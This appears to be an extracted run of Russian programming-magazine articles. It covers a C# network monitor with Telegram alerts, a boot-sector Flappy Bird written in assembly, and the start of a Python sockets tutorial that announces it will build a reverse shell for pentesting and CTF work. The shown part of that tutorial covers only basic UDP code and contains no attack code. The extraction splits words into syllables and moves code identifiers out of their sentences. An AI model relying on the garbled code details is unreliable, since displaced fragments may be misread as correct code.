   // Router is unreachable. Don’t waste resources
   snapshot.avg_rtts = new Dictionary<string, int>();
   snapshot.http_ok = false;
   snapshot.inet_ok = false;
   snapshot.packet_loss = 1;
   foreach (var ci in PING_HOSTS) {
       snapshot.avg_rtts.Add(ci, PING_TIMEOUT);
   }
   WriteLog("Router was unreachable.");
   SaveSnapshot(snapshot);
   return;
}

Тут  самый  боль шой  инте рес  пред став ляет  блок  обра бот ки  недос тупнос ти
роуте ра. Пояс ню: для кор рек тной даль нейшей обра бот ки в Excel все резуль‐ 
таты изме рений дол жны быть запол нены, даже если мы их не про води ли. Так
что  запол ним  эти  зна чения  так,  как  буд то  изме рение  было,  но  все  зап росы
закон чились  по  тайм‐ауту.  Затем  запишем  лог  и  сох раним  ущер бное  сос‐ 
тояние сети.

До пус тим,  кон нект  до  роуте ра  есть.  Сле дующее  дей ствие —  про веря ем
работу  HTTP.  При чем  для  это го  вов се  не  обя затель но  исполь зовать 

. Мы прос то под клю чим ся к задан ному хос ту и пор ту по TCP. Если под‐ 
клю чение не сло мает ся, зна чит, HTTP дос тупен и работа ет. Дела ется это все
сле дующим обра зом:

Web‐
Client

try {
   snapshot.http_ok = true;
   TcpClient tc = new TcpClient();
   tc.BeginConnect(HTTP_TEST_HOST, HTTP_TEST_PORT, null, null);
   Thread.Sleep(HTTP_TIMEOUT);
   if (!tc.Connected) {
       snapshot.http_ok = false;
       snapshot.inet_ok = false;
   }
} catch {
   snapshot.http_ok = false;
   snapshot.inet_ok = false;
}

Те перь  оста лось  толь ко  замерить  пин ги.  Количес тво  воз можных  хос тов
для изме рений огра ниче но  толь ко фан тази ей поль зовате ля,  поэто му,  что бы
уло жить ся  по  вре мени  в  одну  минуту,  при дет ся  задей ство вать  нес коль ко
потоков. Все они  сде лают  замеры и  сло жат  резуль тат  в  общий  спи сок,  что,
конеч но, с точ ки зре ния реали зации выг лядит так себе, но 

  мы  же  для  себя  пишем.  В  потоке  у  нас  будет  выпол нять ся
прос тая фун кция, код которой пред став лен в лис тинге ниже.

сой дет для сель‐ 
ской  мес тнос ти

static void PerformPingTest(Object arg) {
   String host = (String)arg;
   int pkts_lost_row = 0;
   int local_success = 0;
   long local_time = 0;
   Ping ping = new Ping();
   for (int i = 0; i < PING_COUNT; i++) {
       if (pkts_lost_row == 3) {
           // 3 lost packets in row
           // Handle here...
       }
       var result = ping.Send(host, PING_TIMEOUT);
       if (result.Status == IPStatus.Success){
           // Handle success here
       }
       switch (result.Status) { ... } // Handle different fails
   }
   measure_results.Add(host, (int)(local_time / (local_success == 0 
? 1 : local_success)));
   exited_threads++;
   return;
}

Код сок ращен, что бы не тра тить мес то. Сна чала мы вытас кива ем адрес хос та
в отдель ную перемен ную. Почему нель зя было сра зу  ? Потому что этот
метод переда ется как делегат в  ,  а он приз нает
толь ко  аргу мен ты  типа  .  Далее  объ явля ем  локаль ные  перемен ные
для хра нения про межу точ ного резуль тата и под сче та packet loss. Отправ ляем
пинг,  смот рим  резуль тат.  Ничего  слож ного.  Перед  любым  выходом  из фун‐ 
кции помеча ем, что поток свою работу выпол нил и резуль таты уже дос тупны.
Все!

String
ParameterizedThreadStart

Object

Пос ле  отра бот ки  всех  потоков  глав ная  фун кция  дол жна  заб рать  резуль‐ 
таты и занес ти их в объ ект. Затем пос читать packet  loss и ука зать, в поряд ке
ли интернет, по мне нию прог раммы. Напом ню кри терии уста нов ки фла га 

 в  :
in‐

et_ok false

Ес ли  про вален  хотя  бы  один  из  тес тов:  тест  HTTP,  сред ний  пинг
до всех хос тов боль ше 0,75 тайм‑аута, packet loss боль ше мак сималь- 
но допус тимого или роутер ушел в офлайн.

Так и запишем. Пол ный код этой про цеду ры:

snapshot.avg_rtts = measure_results;
snapshot.packet_loss = (double)(pkt_sent ‐ success_pkts) / pkt_sent;
snapshot.inet_ok = !(
   snapshot.http_ok == false ||
   ((double)total_time / success_pkts >= 0.75 * PING_TIMEOUT) ||
   snapshot.packet_loss >= MAX_PKT_LOSS ||
   snapshot.router_rtt == PING_TIMEOUT);

Де ло  за малым:  сох ранить  снап шот и  по необ ходимос ти отпра вить  уве дом‐ 
ление в «Телегу». Для это го я сде лал фун кцию  , которая толь ко
генери рует имя фай ла, сери али зует снап шот и записы вает его. Код не пред‐ 
став ляет никако го инте реса, пос мотреть его мож но в репози тории к статье.
Фун кция для отправ ки сооб щений в Telegram при веде на ниже.

SaveSnapshot

static async void TgNotify(String message, bool with_sound) {
   if (!TG_NOTIFY) return;
   Dictionary<String, String> req_data = new Dictionary<string, 
string>();
   req_data.Add("chat_id", TG_CHAT_ID);
   req_data.Add("text", message);
   req_data.Add("disable_notification", (!with_sound).ToString().
ToLower());
   String sf = JsonConvert.SerializeObject(req_data);
   var result = await httpc.PostAsync($"https://api.telegram.org/bot
{TG_TOKEN}/sendMessage", new StringContent(sf, System.Text.Encoding.
UTF8, "application/json"));
}

Тут мы поль зуем ся HTTP Bot API  «Телег рама»,  что бы отпра вить  сооб щение.
Про вер ка  того,  вклю чены  ли  уве дом ления,  выпол няет ся  тут  же.  Так
как  Telegram  ува жает  толь ко  JSON,  приш лось  еще  раз  при менить  Json.NET.
Осталь ное  оче вид но,  толь ко    —  это  .
Вызов этой фун кции мы раз местим пос ле про вер ки сос тояния сети в  кон це
обра бот чика  тай мера,  а  еще  в фун кции  логиро вания,  но  сооб щения  отту да
будут при ходить без зву ка.

httpc System.Net.Http.HttpClient

WWW

Код целиком на GitHub

Продолжение статьи →
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ТЕСТИРУЕМ

Пер вый запуск

Пос ле сбор ки и запус ка прог рамма выг лядит как на скрин шоте. Пос леду ем ее
ука занию и запус тимся с парамет ром  .‐m

Че рез пару минут видим, что в пап ке   рядом с бинар ником при‐ 
бави лось фай лов.

snapshots

Но вень кие фай лы

Не кото рое вре мя про тотип прог раммы про рабо тал в фоне, пос ле чего у меня
соб рался  солид ный  лог.  Откро ем  в  Excel  файл  ,  лежащий  в  пап ке
с прог раммой. Видим сле дующую кар тину.

main.csv

Вы вод в Excel

Те перь мож но стро ить гра фики. Выбира ем стол бец D, затем Встав ка → Диаг‐ 
рамма →  Гра фик с накоп лени ем. Регули руем шка лу и видим неч то похожее
на кар тинку ниже.

Гра фик сред него пин га

Ес тес твен но,  мож но  пос тро ить  гра фик  чего  угод но,  вот,  нап ример,  гра фик
потерь.

Ис тория packet loss

И еще нем ного скрин шотов работы.

Вы вод логов в кон соль работа ет

Уве дом ления Telegram

ПОСТРОЕНИЕ ТАБЛИЦЫ ПО СНАПШОТАМ
Все гра фики выше — это, конеч но, хорошо, но что, если мы отклю чили запись
таб лицы из сооб ражений эко номии ресур сов? У нас еще есть пап ка со снап‐ 
шотами  в  виде  отдель ных фай лов  JSON. Не  руками же  их  раз бирать  в  таб‐ 
лицу. Выход есть! Напишем пар сер, а заод но смо жем получить отчет за пос‐ 
ледние N дней. Рас чехляй Visual Studio, соз давай новый про ект, обзы вай его
как‐нибудь, добав ляй в зависи мос ти Json.NET — и прис тупим.

Из основно го про екта ско пиру ем в этот струк туру  .net_state
Даль ше прог рамма дол жна реали зовы вать сле дующий алго ритм.

1. Выб рать все записи за опре делен ный пери од и про читать их.
2. Прой ти  все  про читан ные  записи  и  выб рать,  какие  хос ты  там  пин гуют ся.
Сос тавить пол ный спи сок таких хос тов.

3. Сос тавить новый заголо вок CSV.
4. Пос ледова тель но прой ти все записи от ста рых к новым и записать дан ные
из этих записей в соот ветс тву ющие стол бцы.

5. За писать остатки в файл и вый ти из прог раммы.

Ду маю,  зап росить  у  поль зовате ля  парамет ры  ты можешь  и  сам,  да  и  опре‐ 
делить,  какие фай лы  читать  нуж но,  тоже. Мы же  оста новим ся  на  генера ции
заголов ка. Алго ритм прост как валенок:

Dictionary<String, int> host_ids = new Dictionary<string, int>();
int hid = 0;
foreach (var ci in snaps) {
   foreach (var ch in ci.avg_rtts.Keys) {
       if (host_ids.ContainsKey(ch)) continue;
       host_ids.Add(ch, hid++);
   }
}
// Build CSV header with this information
string csv_hdrs = "";
for (int i = 0; i < hid; i++) {
   csv_hdrs += $"RTT to {host_ids.Keys.ToArray()[i]}{delim}";
}
tgtcsv = tgtcsv.Replace("AHR", csv_hdrs);

Тут    —  это  сим вол,  раз деля ющий  записи  в  выход ном  CSV  (по  умол‐ 
чанию  точ ка  с  запятой),    —  выб ранные  на  прош лом  эта пе  записи,
а   — содер жимое выход ного фай ла одной стро кой.

delim
snap

tgt_csv
Пос ле фор мирова ния заголов ка нуж но напол нить таб лицу. Этим зай мет ся

сле дующий алго ритм:

foreach (var ninfo in snaps) {
   tgtcsv +=
       $"{ninfo.measure_time.ToShortDateString()} " +
       $"{ninfo.measure_time.ToShortTimeString()}{delim}" +
       $"{ninfo.inet_ok}{delim}{ninfo.http_ok}{delim}" +
       $"{ninfo.avg_rtts.Values.Average().ToString("N2")}{delim}" +
       ninfo.router_rtt.ToString() + delim +
       (ninfo.packet_loss * 100).ToString("N2") + delim +
       $"{ninfo.measure_id}{delim}{seq_id++}{delim}" +
       $"{ninfo.measure_time.ToShortTimeString()}{delim}{delim}";
   List<String> items = host_ids.Keys.ToList();
   foreach (var ci in items) {
       if (ninfo.avg_rtts.ContainsKey(ci)) {
           tgtcsv += ninfo.avg_rtts[ci];
       }
       tgtcsv += delim;
   }
   tgtcsv += $"{delim}\r\n";
}

Тут  мы  в  стро ках  3–11  фор миру ем  пер вую  часть  стро ки  таб лицы  и  прик‐ 
леиваем ее к самой таб лице. Затем про ходим по най ден ным хос там и, если
в этом снап шоте есть изме рение до это го хос та, записы ваем, ина че оставля‐ 
ем  пус тую  клет ку.  Пос ле  завер шения  текущей  стро ки  перехо дим  к  сле‐ 
дующей.  Если  дос тигну та  пос ледняя  стро ка,  записы ваем  все  в  выход ной
файл и выходим.

Я  запус тил  прог рамму  на  наборе  из  нес коль ких  резуль татов  изме рений,
получи лось все пра виль но.

Ус пешная работа, даже если часть дан ных отсутс тву ет

В Excel это выг лядит так

ИТОГИ
Как  видишь,  написать  прос той  ана лиза тор  сети,  даже  с  уве дом лени ями
в любую точ ку мира, сов сем нес ложно. Более того, его очень лег ко допилить
под свои нуж ды.

В самом начале был  упо мянут  замер ско рос ти  соеди нения,  но  я  не  стал
его реали зовы вать,  так  как  точ ная динами ка  ско рос ти  в фоне не получит ся,
кто‐то  обя затель но  будет  исполь зовать  сеть  в  это  вре мя.  А  недос товер ные
или  слож но  про веря емые  замеры  мы  делать  не  будем.  При  желании  ты
можешь  сам  добавить  эту  фун кцию,  бла го  есть 
для работы с сер висом Speedtest.net.

го товая  биб лиоте ка

Лю бые  допол нения,  пред ложения,  как  улуч шить,  и  замеча ния  можешь
написать  в  ком мента риях,  а  исполь зование  моего  про екта  в  любых  целях
ничем не огра ниче но. Удач ных замеров!
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КОДИНГ

Хо чешь поп ракти ковать ся в  кодин ге на ассем бле ре? Давай
вмес те  шаг  за  шагом  соз дадим  игру  и  запус тим  ее  пря мо
из заг рузоч ного сек тора  тво его  компь юте ра. Если  ты дума‐ 
ешь, что 512 байт малова то для пол ноцен ной игры, не спе ши
с вывода ми. К кон цу статьи ты смо жешь сде лать ее сво ими
руками!

Да,  затол кать  что‐то вра зуми тель ное в 512 байт заг рузоч ного сек тора — та
еще  задач ка.  Бут сектор ная  прог рамма  выпол няет ся  до  запус ка  опе раци‐ 
онной сис темы, а зна чит, фун кции ОС ей недос тупны.

Да же  для  такого,  казалось  бы,  прос того  дей ствия,  как  вывес ти  чис ло
на  экран,  при дет ся  писать  свою  собс твен ную  под прог рамму.  Кро ме  того,
забудь  о  высоком  раз решении  экра на,  прос том  и  удоб ном  дос тупе  к  GPU
и зву ковой  кар те. А еще  учти,  что BIOS,  выпол няя бут сектор ную прог рамму,
смот рит на про цес сор тво его Ryzen или Core  i9 как на при митив ный 16‐бит‐ 
ный 8088.

Ввод ные не очень‐то обна дежи вают! Но базовые фун кции BIOS у нас ник‐ 
то  не  отни мал. Мы  можем  выводить  текст,  рисовать  круп нораз мерные  пик‐ 
сели, читать сис темный тай мер, сле дить за кла виату рой. Это го впол не хва тит
для нес ложной игрушки!

На  слу чай,  если  ты  про пус тил  шумиху  в  2013  году,  пояс ню  смысл  игры.
Летящая  сле ва  нап раво  по  экра ну  пта ха  дол жна  обле тать  тор чащие  сни зу
и  свер ху  экра на  тру бы.  Если  игрок  ничего  не  дела ет,  она  самоп роиз воль но
сни жает ся. Нажатие на кноп ку зас тавля ет ее взмах нуть  крыль ями и нем ного
под нять ся вверх. Сек рет в том, что бы соб людать нуж ный ритм и не вре зать ся.
Вот и вся игру ха.

А теперь возь мем ся за реали зацию!

ПОДГОТОВКА
Го ворим ком пилято ру, что наша прог рамма 16‐бит ная, резер виру ем нес коль‐ 
ко яче ек памяти под перемен ные, пры гаем на точ ку вхо да. Обра ти вни мание,
что мы здесь не соз даем перемен ные, не выделя ем для них память, а прос то
зада ем мне мони ку для яче ек памяти, которые уже сущес тву ют.

Де лаем еще нес коль ко под готови тель ных телод вижений:
пе рехо дим в тек сто вый режим 25 × 80 и очи щаем экран;•
сбра сыва ем  «флаг  нап равле ния»,  что бы  стро ки  обра баты вались  сле ва
нап раво,  а  не  наобо рот  (ког да  будем  обра щать ся  к  инс трук циям  вро де
stosw);

•

сег мен тные  регис тры  нацели ваем  на  область  опе ратив ной  памяти,
которая отоб ражена на виде опа мять. Так нам будет удоб ней отри совы вать
игро вое поле.

•

Ини циали зиру ем  перемен ные.  При  этом  ста раем ся  сэконо мить  количес тво
исполь зуемых  бай тов.  Ког да  мы  сна чала  помеща ем  нуж ное  нам  зна чение
в AX, а затем через   прис ваиваем его оче ред ной перемен ной, получа‐ 
ется мень ше бай тов, чем ког да мы самос тоятель но ини циали зиру ем каж дую
перемен ную. Осо бен но ког да прис ваиваем оди нако вые зна чения — как два
нуля вна чале.

stosw

На до дать игро ку успеть при норо вить ся к управле нию, поэто му пер вую тру бу
отри совы ваем толь ко пос ле 160‐го кад ра. В   запишем чис ло 160 ( )
и пишем не  ,  а  . Нам,  конеч но,  важ но,  что бы
в   был ноль, но мы точ но зна ем, что он и так уже там, поэто му тра тить целый
байт на пов торное обну ление мы не будем.

next 0xA0
mov ax, 0x00A0 mov al, 0xA0

AH

(ПЕРЕ)ЗАПУСКАЕМ ИГРУ
Вы водим  наз вание  игры.  Здесь  каж дый  сим вол  кодиру ется  дву мя  бай тами:
цвет  и  сим вол.  Цвет  зада ем  толь ко  один  раз  (   во  вто ром  ).  Так  мы
эко номим еще нес коль ко бай тов.

0x0F mov

При помощи под прог раммы   (ее мы напишем чуть поз же) сдви гаем
игро вое  поле  вле во  на  один  стол бец  и  на  осво бодив шемся  мес те  рису ем
новый стол бец. Пос коль ку ширина  экра на  у  нас 80  сим волов, мы  вызыва ем

 80 раз.

MoveScene

MoveScene

Пос ле того как вывели наз вание игры и нарисо вали игро вое поле, не начина‐ 
ем  игру  сра зу,  а  ждем,  пока  игрок  сори енти рует ся  и  наж мет  какую‐нибудь
кла вишу. Если к это му момен ту в буфере кла виату ры зафик сирова ны какие‐то
нажатия, игно риру ем их.

Ка ким обра зом игно риру ем? Вызыва ем пер вую фун кцию ( ) пре рыва ния
,  то  есть  смот рим,  нет  ли  чего‐то  в  буфере  кла виату ры.  Обра щаем ся

к   в цик ле, до  тех пор пока не опус тошим буфер. А опус тоша ем мы его
с помощью фун кции   того же пре рыва ния. Опус тошив буфер, вызыва ем

 еще раз и ждем, пока игрок клац нет по кла виату ре.

0x01
0x16
0x01

0x00
0x00

НАЧИНАЕМ ИГРОВОЙ ЦИКЛ: ВЫСЧИТЫВАЕМ КООРДИНАТЫ
ПТИЦЫ И РИСУЕМ ЕЕ
Мы подош ли к глав ному игро вому цик лу. Здесь нас тра иваем гра вита цию, что‐ 
бы птич ка сни жалась самоп роиз воль но на каж дой ите рации цик ла. Вдо бавок,
что бы играть было веселее, дела ем так,  что чем доль ше игрок не нажима ет
кла вишу, тем силь нее гра вита ция тянет героя игры вниз.

Те кущее  зна чение  гра вита ции  помеща ем  в  AL,  что бы  рас счи тать  позицию
на экра не. Учти, что   — это дроб ное чис ло (пять бит на целую часть, три
бита на дроб ную).

bird

Ито говый резуль тат умно жаем на 20. Так мы подс тра иваем ся под то, что
каж дая  стро ка  на  монито ре  сос тоит  из  160  байт.  Затем  добав‐ 
ляем  32  к  получен ному  чис лу,  что бы  птич ка  не  жалась  к  левой  гра нице,
а летела на некото ром рас сто янии от нее.

То, что получи лось, помеща ем в DI инс трук цией  ,  пос коль ку AX
нель зя при менять в качес тве ука зате ля. Обра ти вни мание: мы здесь исполь‐ 
зуем   вмес то   не потому, что хотим сбе речь зна чение, которое хра нил
DI, а потому, что с   код получил ся бы боль ше на целый байт!

xchg ax, di

xchg mov
mov

Счет чик  рису емых  кад ров    нам  нужен,  что бы  выс читывать  момен ты,
ког да надо рисовать «кры ло вверх». Перед тем как рисовать кры ло (см. инс‐ 
трук ции вро де  ), мы сна чала счи тыва ем текущее содер жимое
соот ветс тву ющей ячей ки памяти (см. инс трук ции вро де  ). Сме‐ 
щение 160 поз воля ет пос мотреть, что находит ся под пти цей, а 2 — что сбо ку
от нее. Ты же пом нишь, что каж дый сим вол у нас кодиру ется дву мя бай тами
(цвет и сим вол)?

Сadr

mov word [di]
mov al, [di]

ПРОДОЛЖАЕМ ИГРОВОЙ ЦИКЛ: СМОТРИМ, НЕТ ЛИ
СТОЛКНОВЕНИЙ
Про веря ем,  есть  ли  стол кно вение.  Для  это го  дос таточ но  одной‐единс твен‐ 
ной инс трук ции  . Отво дить на каж дое усло вие по отдель ной   слиш ком
рас точитель но —  мно го  бай тов  израсхо дуем.  Так  что  мы  всю  информа цию
о воз можных стол кно вени ях сна чала сум миру ем в AL и толь ко потом про веря‐ 
ем, не вма залась ли пти ца куда‐то.

cmp cmp

Ес ли AL не рав но 0x40, стол кно вение есть. Что это за мис тика такая, как это
чис ло дает нам такую цен ную информа цию? Суть вот в чем. Если в ана лизи‐ 
руемых ячей ках не было пре пятс твий, зна чит, там хра нят ся сим волы про бела.
А код про бела — 0x20; 0x40 — это сум ма двух про белов. Если резуль тат отли‐ 
чен от 0x40, зна чит, пти ца во что‐то вле тела. В таком слу чае пишем мно гоз‐ 
начитель ное BA][.

Ес ли пти ца таки вре залась во что‐то, переза пус каем игру не сра зу. Выжида‐ 
ем некото рое вре мя, что бы игрок успел осоз нать слу чив шееся и погоре вать.
По  резуль татам  пси холо гичес кого  тес тирова ния  и  нес коль ких  сеан сов  рас‐ 
ста новок  по  Хел линге ру  мы  выяс нили,  какое  вре мя  для  это го  необ ходимо.
100  про межут ков,  которые  мы  ждем  перед  отри сов кой  каж дого  кад ра  (см.
сле дующий шаг), будет в самый раз.

Ес ли  игра  идет  сво им  чередом,  то  при  помощи  под прог раммы 
  (ее  мы  напишем  чуть  поз же),  дела ем  неболь шую  задер жку

перед сле дующим сдви гом экра на.

DelayBe‐
foreCadr

Пос ле каж дого вось мого сдви га слег ка  уве личи ваем гра вита цию,  так играть
будет инте рес ней. Затем сти раем пти цу с экра на, что бы потом ее отри совать
на сле дующей ите рации игро вого цик ла. Толь ко хвост не затира ем, ради кра‐ 
сивой ани мации. Затем дваж ды вызыва ем под прог рамму   — и пти‐ 
ца прод вига ется впе ред еще на два шага.

MoveScene

ЗАВЕРШАЕМ ИГРОВОЙ ЦИКЛ: ПРОВЕРЯЕМ, НЕ ВСТРЕТИЛАСЬ ЛИ
НА ПУТИ ТРУБА
Ес ли птич ка встре тила на сво ем пути тру бу, плю суем счет чик   и выводим
его обновлен ное зна чение на экран. Для это го перево дим чис ло в стро ковое
пред став ление и рису ем его на экра не. На каж дую циф ру по одной ите рации
цик ла.

score

Смот рим, не нажал ли игрок кла вишу (ты еще пом нишь, это пер вая фун кция
пре рыва ния  ).  Если  игрок  ничего  не  нажимал,  перехо дим  к  сле дующей
ите рации игро вого цик ла. Но не нап рямую туда, а тран зитом через 

. Мож но было бы и сра зу прыг нуть на  , но тог да вый дет
на два бай та боль ше, потому что эта мет ка далеко от текущей позиции кода.

0x16
@@ToJmp_‐

Main @@MainGameLoop

Ес ли кноп ка таки нажата, смот рим какая (нулевая фун кция того же пре рыва‐ 
ния).  Escape  —  выходим  из  игры,  либо  в  DOS,  либо  в  никуда,  если  игра
запуще на из заг рузоч ного сек тора. Ког да нажата не Escape, а какая‐то дру гая
кла виша, при под нима ем пти цу и сбра сыва ем гра вита цию в ноль (перемен ная

).grav
Все, глав ный игро вой цикл готов. Оста лось написать две под прог раммы:

,  которая дела ет задер жку, и  ,  которая сдви гает
игро вое поле вле во на один сим вол.
DelayBeforeCadr MoveScene

DELAYBEFORECADR: ДЕЛАЕМ ЗАДЕРЖКУ
За дер жку орга низу ем при помощи сис темных часов, к которым обра щаем ся
через  . Сис темные часы тика ют каж дые 55 мс — отсчи тыва ют вре мя,
про шед шее  с  момен та  вклю чения  компь юте ра.  Фун кция    воз вра щает
текущее количес тво тиков в   (четырех бай товое чис ло).

int 0x1A
0x00

CX:DX

Как работа ет  ? Счи тыва ем  текущее количес тво  тиков, сох‐ 
раня ем  его.  И  затем  опять  счи тыва ем  его,  но  уже  в  цик ле.  Как  толь ко  зна‐ 
чение  меня ется  —  выходим  из  цик ла.  Здесь  же  инкре мен тиру ем  счет чик

. Логич ней, конеч но, было бы инкре мен тировать не здесь, а там, где эта
под прог рамма  исполь зует ся,  но  тог да  этот  инкре мент  нуж но  будет  делать
при  каж дом  обра щении  к  .  А  это  допол нитель ные  бай ты,
которые у нас в дефици те.

DelayBeforeCadr

cadr

DelayBeforeCadr

MOVESCENE: ПЕРЕРИСОВЫВАЕМ ИГРОВОЕ ПОЛЕ
Сна чала сдви гаем игро вое поле вле во на один сим вол. Сдви гаем все стро ки,
за исклю чени ем пер вой. Там у нас написа но наз вание игры и сколь ко очков
наб рал игрок. Их дви гать не надо.

На цели ваем SI на пер вый сим вол пер вой стро ки (отсчи тыва ем с нуля), а DI —
на нулевой сим вол пер вой стро ки. Зачем? Что бы, ког да будем делать  ,
два бай та из   переме щались в  . Пом нишь ведь, что эти два бай та —
код сим вола и цвет?

movsw
[SI] [DI]

Вы пол няем    по  79 раз  для  каж дой  стро ки  и  в  резуль тате  сдви гаем
все стро ки экра на вле во.

movsw

Ри суем подобие поч вы (зеленая полос ка) и затем дома. Что бы было кра‐ 
сивее  и  динамич ней,  этаж ность  домов  (один  или  два)  выбира ем  слу чай но.
Не то что бы пря мо слу чай но, но при мер но слу чай но. За «слу чай ным» чис лом
обра щаем ся  к  мик росхе ме  сис темно го  тай мера  ( ),  которая
при каж дом обра щении выда ет новое чис ло. Отталки ваясь от это го зна чения,
мы рису ем либо одно этаж ный домик, либо дву хэтаж ный.

in  al,  0x40

В псев догра фике есть сим вол,  который похож на сте ну с окош ком, — 0x08.
Вот его мы и исполь зуем. Кры шу рису ем сим волом тре уголь ника (0x1E).

MOVESCENE: РИСУЕМ ТРУБУ
При каж дом сдви ге игро вого поля счет чик   умень шаем на еди ницу. Ког да
в  счет чике ока зыва ется  чис ло 3,  2,  1  или 0 — самое вре мя рисовать  тру бу.
Ког да счет чик равен трем, выбира ем «слу чай ное» положе ние для дыр ки в тру‐ 
бе: чис ло от 4 до 11.

next

От талки ваясь от того, какое чис ло в   (3, 2, 1 или 0), выбира ем, какой сим‐ 
вол  псев догра фики  рисовать.  Пра вый  край  отри совы ваем  ред кой  сеточ кой
(0xB0),  левый  —  плот ной  сеточ кой  (0xB1),  середи ну  —  сплош ным  цве том
(0xDB).

next

Стол бик  за  стол биком отри совы ваем  всю  тру бу. Начина ем  с  пер вой  стро ки
спра ва  (нулевую про пус каем) и рису ем вер хнюю часть  тру бы  (CX — счет чик
для  ).  Затем  рису ем  тон кую  линию  под  вер хней  частью  тру бы  (0xC4).
Про пус каем шесть стро чек — что бы обра зова лась дос таточ ная для про лета
дыр ка.  Рису ем  тол стую  линию  над  ниж ней  частью  тру бы  (0xDF).  И  наконец,
ниж нюю часть.

hole

Чем боль ше труб уже нарисо вано, тем мень ше рас сто яние дела ем до сле‐ 
дующей. Но не мень ше 17 сим волов. Если игрок ока зал ся уж очень про вор‐ 
ным и тру бы у него пош ли сов сем близ ко, то не даем им рисовать ся вплот ную
друг к друж ке: дос тигнув зна чения 17, счет чик   боль ше не умень шает ся.next

СИГНАТУРА ЗАГРУЗОЧНОГО СЕКТОРА
Заг рузоч ный  сек тор  в  машинах  IBM  PC  хра нит  510  байт.  Два  недос тающих
бай та  от  512  зарезер вирова ны  под  сиг натуру:  .  Счи тывая  заг‐ 
рузоч ный  сек тор,  BIOS  ищет  эту  сиг натуру  в  его  двух  пос ледних  бай тах.  Ее
наличие озна чает,  что в заг рузоч ном сек торе записа на прог рамма,  которую
надо выпол нить.

0x55,  0xAA

На древ них досов ских дис ках эта прог рамма пар сила фай ловую сис тему FAT,
что бы най ти там два фай ла:   и  . Затем прог рамма заг ружала

, который, в свою оче редь, заг ружал  .
io.sys msdos.sys

io.sys msdos.sys
В  бут секто ре  очень  мало  сво бод ного  прос транс тва  и  набор  дос тупных

фун кций  огра ничен,  поэто му  слож но  при думать  для  него  какое‐то  дру гое
дело,  кро ме  заг рузки  сис темы.  Одна ко  у  нас  с  тобой  получи лось  засунуть
туда неч то куда более инте рес ное!

И  напос ледок  пара  орга низа цион ных  момен тов.  Для  ком пиляции  прог‐ 
раммы луч ше исполь зовать  : 

.  А если боишь ся редак тировать бут сектор, можешь играть в Floppy Bird
через  эму лятор  DOS  —  нап ример,  .  Но  толь ко  учти,  что  тот  трюк,
который мы пред при няли для генера ции слу чай ных чисел, не работа ет в эму‐ 
лято ре и поэто му «слу чай ная» этаж ность домов получа ется ну сов сем не слу‐ 
чай ной.

nasm nasm ‐f bin flobird.asm ‐o flobird.
com

DOSBox
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КОДИНГ

В  этой  статье  мы  раз берем ся,  как  при  помощи  Python
переда вать  сооб щения  меж ду  дву мя  компь юте рами,  под‐ 
клю чен ными к сети. Эта задача час то встре чает ся не толь ко
при раз работ ке при ложе ний, но и при пен тесте или учас тии
в  CTF.  Про ник нув  на  чужую  машину,  мы  как‐то  дол жны
переда вать  ей  коман ды.  Имен но  для  это го  нужен  reverse
shell, или «обратный шелл», который мы и напишем.

Су щес тву ет два низ коуров невых про токо ла, по которым переда ются дан ные
в компь ютер ных сетях, — это UDP  (User Datagram Protocol) и TCP  (Transmis‐
sion Control  Protocol).  Работа  с  ними  слег ка  раз лича ется,  поэто му  рас смот‐ 
рим оба.

 пред назна чен для переда чи пакетов от одно го узла к дру‐ 
гому  без  гаран тии  дос тавки.  Пакет  дан ных  обыч но  сос тоит  из  двух  час тей.
В  одной  —  управля ющая  информа ция,  в  том  чис ле  дан ные  отпра вите ля
и получа теля, а так же коды оши бок. В дру гой — поль зователь ская информа‐ 
ция, то есть сооб щение, которое переда ется.

Про токол UDP

Важ но  здесь  то,  что  UDP  не  гаран тиру ет  дос тавку  пакета  (пра виль нее
говоря, датаг раммы) ука зан ному узлу, так как меж ду отпра вите лем и получа‐ 
телем не уста нов лен канал свя зи. Ошиб ки и потери пакетов в сетях слу чают ся
сплошь и рядом, и это сто ит учи тывать (или в опре делен ных слу чаях, наобо‐ 
рот, не сто ит).

 тоже дос тавля ет сооб щения, но при этом гаран тиру ет, что
пакет долетит до получа теля целым и нев редимым.

Про токол TCP

ПЕРЕХОДИМ К ПРАКТИКЕ
Пи сать  код мы будем на сов ремен ном Python 3. Вмес те с Python пос тавля‐ 
ется  набор  стан дар тных  биб лиотек,  из  которо го  нам  пот ребу ется  модуль
socket. Под клю чаем его.

import socket

Даль ше мы догово рим ся, что у нас есть сер вер и кли ент, где кли ентом обыч‐ 
но  будет  наш  компь ютер,  а  сер вером  —  уда лен ный.  В  реаль нос ти  все
это  условнос ти,  и  речь может  идти  о  любых  двух  компь юте рах  (в  том  чис ле
вир туаль ных машинах) или даже прос то двух про цес сах, запущен ных локаль‐ 
но. Важ но толь ко то, что код по раз ные сто роны будет раз ным.

На  каж дой  из  сто рон  пер вым  делом  соз даем  экзем пляр  клас са  socket
и уста нав лива ем для него две кон стан ты (парамет ры).

ИСПОЛЬЗУЕМ UDP
Сна чала соз дадим мес то для обме на дан ными.

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

Мы соз дали объ ект  , который явля ется экзем пля ром клас са socket. Для это‐ 
го мы выз вали метод из модуля socket с име нем   и переда ли ему два
парамет ра —    и  .    озна чает,  что  исполь зует ся
IP‐про токол  чет вертой  вер сии.  При  желании  мож но  исполь зовать  IPv6.
Во вто ром парамет ре для наших целей мы можем ука зать одну из двух кон‐ 
стант:    или  .  Пер вая  озна чает,  что  будет  исполь‐ 
зовать ся про токол UDP. Вто рая — TCP.

s
socket

AF_INET SOCK_DGRAMM AF_INET

SOCK_DGRAMM SOCK_STREAM

Сто рона сер вера
Да лее код раз лича ется для сто роны сер вера и кли ента. Рас смот рим сна чала
сто рону сер вера.

s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf‐8'))
s.close()

Здесь   озна чает, что мы резер виру ем на сер‐ 
вере (то есть на нашей же машине) адрес 127.0.0.1 и порт 8888. На нем мы
будем слу шать и при нимать пакеты информа ции. Здесь сто ят двой ные скоб‐ 
ки, так как методу   переда ется кор теж дан ных — в нашем слу чае сос‐ 
тоящий из стро ки с адре сом и номера пор та.

s.bind(('127.0.0.1', 8888))

bind()

INFO

Ре зер вировать  мож но  толь ко  сво бод ные  пор ты.
Нап ример,  если  на  пор те  80  уже  работа ет
веб‐сер вер, то он будет нам мешать.

Да лее  метод    объ екта    прос лушива ет  ука зан ный  нами  порт  (8888)
и  получа ет  дан ные  по  одно му  килобай ту  (поэто му  мы  зада ем  раз мер
